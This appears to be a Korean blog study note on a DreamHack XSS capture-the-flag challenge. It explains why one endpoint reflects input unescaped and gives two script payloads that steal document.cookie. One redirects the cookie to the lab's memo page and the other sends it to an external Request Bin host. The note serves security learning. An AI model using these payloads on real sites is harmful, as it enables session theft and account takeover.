Information Security
[DreamHack] XSS 본문
셀레늄 (Selenium) : 웹 애플리케이션 테스팅에 사용되는 파이썬 모듈
API를 통해 웹 드라이버 (크롬, 사파리 등)를 사용 가능
응답에 포함된 Javascript, CSS와 같은 웹 리소스를 웹 드라이버를 통해 해석하고 실행하기 때문에 웹 브라우저를 통해 페이지를 방문하는 것과 같은 역할
취약점 분석
vuln과 memo 엔드포인트는 이용자의 입력값을 페이지에 출력
memo는 render_template 함수를 사용해 memo.html을 출력
-> render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않음
But, vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생
익스플로잇
문제를 해결하기 위해서는 /vuln 엔드포인트에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 함
탈취한 쿠키를 전달받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용
<공격에 사용할 수 있는 속성>
쿠키 탈취
1) memo 페이지 사용
flag 엔드포인트에서 <script>location.href = "/memo?memo=" + document.cookie;</script> 과 같은 익스플로잇 코드를 입력 시 memo 엔드포인트에서 임의 이용자의 쿠키 정보 확인 가능
2) 웹 서버 사용
해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있음
Request Bin 버튼을 클릭 시 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장
flag 기능에서 <script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script> 과 같은 익스플로잇 코드를 입력하면, 접속 기록에 포함된 FLAG를 확인할 수 있음
'INTERLUDE > Web Hacking' 카테고리의 다른 글
[DreamHack] xss-2 (0) | 2022.02.13 |
---|---|
[DreamHack] xss-1 (0) | 2022.02.13 |
[DreamHack] ClientSide: XSS (0) | 2022.02.13 |
[DreamHack] Mitigation: Same Origin Policy (0) | 2022.01.30 |
[DreamHack] session-basic (0) | 2022.01.30 |